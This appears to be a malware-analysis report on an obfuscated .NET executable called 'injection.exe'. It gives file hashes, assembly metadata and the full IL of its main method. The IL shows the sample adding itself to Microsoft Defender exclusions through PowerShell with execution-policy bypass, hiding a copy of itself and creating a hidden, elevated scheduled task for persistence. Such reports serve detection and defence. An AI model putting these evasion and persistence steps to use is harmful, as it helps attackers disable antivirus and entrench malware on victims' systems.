Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 0c6f9ab8c9e7d343f0ccae86803279c0
|
| Sha1 | fc2ca71cfcb1b5f514186c3a36700544026f597e
|
| Sha256 | 34815fc9badaa5b7ef9b8394a1aa00bbf98917382f565e9b782293f0e623b5a3
|
| Sha384 | d4a0a2729e8ce705b85cf0c662741c7027f57adfe47bf0c43a9dff84148e300ad0f54615bc4cdd136f9cb9459eb18f2d
|
| Sha512 | 89244210e500d416b638bfbe2925268fa784c2ba61aa80f39f5d856d55190db42179b9031964da998152c135b05e477050389b52b3439b0a35817a229b45049d
|
| SSDeep | 12288:HVcZgJZnprs9k+gltkfj9kcpP2EOxl/f0VPW3mpM:maZnpq/aiNpP2EOxZmWEM
|
| TLSH | 5FE4E11127E4892BEEAE13B4F5B0161027B4F54BA561EB8A78CC15FA9F6334059133BF
|
|
Name0 | Value |
|---|---|
| Module Name | injection.exe |
| Full Name | injection.exe |
| EntryPoint | System.Void x&4&;x64x7::#7#x;&6&67() |
| Scope Name | injection.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | injection |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 534 |
| Main Method | System.Void x&4&;x64x7::#7#x;&6&67() |
| Main IL Instruction Count | 204 |
| Main IL | call System.Boolean x&4&;x64x7::66##2;;x26() brtrue IL_0010: ldsfld System.String 64;;;;::#&;267x&;& ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String 64;;;;::#&;267x&;& ldsfld System.String 64;;;;::126#46;676 ldstr \ ldsfld System.String 64;;;;::6x62#x##;; call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un IL_0096: call System.Boolean x&4&;x64x7::#x;##x;;a4() ldsfld System.Collections.Generic.List`1<System.String> 64;;;;::662#&4;&#& callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.0 <null> br IL_0070: ldloca.s V_0 ldloca.s V_0 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.1 <null> ldnull <null> ldftn System.Void x&4&;x64x7::6#;x&a4&3#(System.Object) newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart) stloc.2 <null> ldloc.2 <null> ldloc.1 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Byte[] x&4&;x64x7::#07a4661#7(System.String) callvirt System.Void System.Threading.Thread::Start(System.Object) ldloca.s V_0 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue.s IL_0045: ldloca.s V_0 leave IL_008C: call System.Void System.Windows.Forms.Application::Run() ldloca.s V_0 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() endfinally <null> call System.Void System.Windows.Forms.Application::Run() br IL_0312: ret call System.Boolean x&4&;x64x7::#x;##x;;a4() brtrue IL_00B6: call System.Boolean x&4&;x64x7::#x;##x;;a4() ldsfld System.String 64;;;;::#&;267x&;& call System.Boolean x&4&;x64x7::2#66#;4&&#(System.String) pop <null> call System.Void x&4&;x64x7::##422&;;76() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean x&4&;x64x7::#x;##x;;a4() brfalse IL_014D: ldsfld System.String 64;;;;::126#46;676 newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.3 <null> ldloc.3 <null> ldstr powershell.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) ldloc.3 <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.3 <null> ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath ' ldsfld System.String 64;;;;::126#46;676 ldstr \ ldsfld System.String 64;;;;::6x62#x##;; call System.String System.String::Concat(System.String,System.String,System.String) call System.String System.IO.Path::GetFullPath(System.String) ldstr ' call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) callvirt System.Void System.Diagnostics.Process::WaitForExit() ldloc.3 <null> ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess ' ldsfld System.String 64;;;;::6x62#x##;; ldstr ' call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_014D: ldsfld System.String 64;;;;::126#46;676 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_014D: ldsfld System.String 64;;;;::126#46;676 ldsfld System.String 64;;;;::126#46;676 ldstr \ ldsfld System.String 64;;;;::6x62#x##;; call System.String System.String::Concat(System.String,System.String,System.String) call System.Boolean System.IO.File::Exists(System.String) brfalse IL_0199: ldc.i4 1000 ldsfld System.String 64;;;;::126#46;676 ldstr \ ldsfld System.String 64;;;;::6x62#x##;; call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 ldc.i4 128 callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes) ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String 64;;;;::126#46;676 ldstr \ ldsfld System.String 64;;;;::6x62#x##;; call System.String System.String::Concat(System.String,System.String,System.String) ldsfld System.String 64;;;;::#&;267x&;& call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave IL_01DD: ldsfld System.String 64;;;;::126#46;676 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_01DD: ldsfld System.String 64;;;;::126#46;676 ldsfld System.String 64;;;;::126#46;676 ldstr \ ldsfld System.String 64;;;;::6x62#x##;; call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) leave IL_020E: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_020E: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() stloc.s V_8 ldloc.s V_8 callvirt Microsoft.Win32.TaskScheduler.TaskDefinition Microsoft.Win32.TaskScheduler.TaskService::NewTask() stloc.s V_9 newobj System.Void Microsoft.Win32.TaskScheduler.TimeTrigger::.ctor() stloc.s V_10 ldloc.s V_10 callvirt Microsoft.Win32.TaskScheduler.RepetitionPattern Microsoft.Win32.TaskScheduler.Trigger::get_Repetition() ldc.r8 1 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) callvirt System.Void Microsoft.Win32.TaskScheduler.RepetitionPattern::set_Interval(System.TimeSpan) ldloc.s V_9 callvirt Microsoft.Win32.TaskScheduler.TriggerCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Triggers() ldloc.s V_10 callvirt Microsoft.Win32.TaskScheduler.Trigger Microsoft.Win32.TaskScheduler.TriggerCollection::Add(Microsoft.Win32.TaskScheduler.Trigger) pop <null> call System.Boolean x&4&;x64x7::#x;##x;;a4() brfalse IL_0265: ldloc.s V_9 ldloc.s V_9 callvirt Microsoft.Win32.TaskScheduler.TaskPrincipal Microsoft.Win32.TaskScheduler.TaskDefinition::get_Principal() ldc.i4.1 <null> callvirt System.Void Microsoft.Win32.TaskScheduler.TaskPrincipal::set_RunLevel(Microsoft.Win32.TaskScheduler.TaskRunLevel) ldloc.s V_9 callvirt Microsoft.Win32.TaskScheduler.TaskSettings Microsoft.Win32.TaskScheduler.TaskDefinition::get_Settings() ldc.i4.1 <null> callvirt System.Void Microsoft.Win32.TaskScheduler.TaskSettings::set_Hidden(System.Boolean) ldloc.s V_9 callvirt Microsoft.Win32.TaskScheduler.ActionCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Actions() ldsfld System.String 64;;;;::126#46;676 ldstr \ ldsfld System.String 64;;;;::6x62#x##;; call System.String System.String::Concat(System.String,System.String,System.String) ldnull <null> ldnull <null> newobj System.Void Microsoft.Win32.TaskScheduler.ExecAction::.ctor(System.String,System.String,System.String) callvirt Microsoft.Win32.TaskScheduler.Action Microsoft.Win32.TaskScheduler.ActionCollection::Add(Microsoft.Win32.TaskScheduler.Action) pop <null> ldloc.s V_8 callvirt Microsoft.Win32.TaskScheduler.TaskFolder Microsoft.Win32.TaskScheduler.TaskService::get_RootFolder() ldsfld System.String 64;;;;::#x42;xx26& ldloc.s V_9 callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskFolder::RegisterTaskDefinition(System.String,Microsoft.Win32.TaskScheduler.TaskDefinition) pop <null> ldc.i4 3000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void x&4&;x64x7::##422&;;76() ldloc.s V_8 ldsfld System.String 64;;;;::#x42;xx26& ldc.i4.1 <null> callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskService::FindTask(System.String,System.Boolean) stloc.s V_11 ldloc.s V_11 brfalse IL_02E1: ldc.i4.0 ldloc.s V_11 ldc.i4.0 <null> newarr System.String callvirt Microsoft.Win32.TaskScheduler.RunningTask Microsoft.Win32.TaskScheduler.Task::Run(System.String[]) pop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) leave IL_02FB: leave IL_0312 ldloc.s V_8 brfalse IL_02FA: endfinally ldloc.s V_8 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_0312: ret dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0312: ret ret <null> |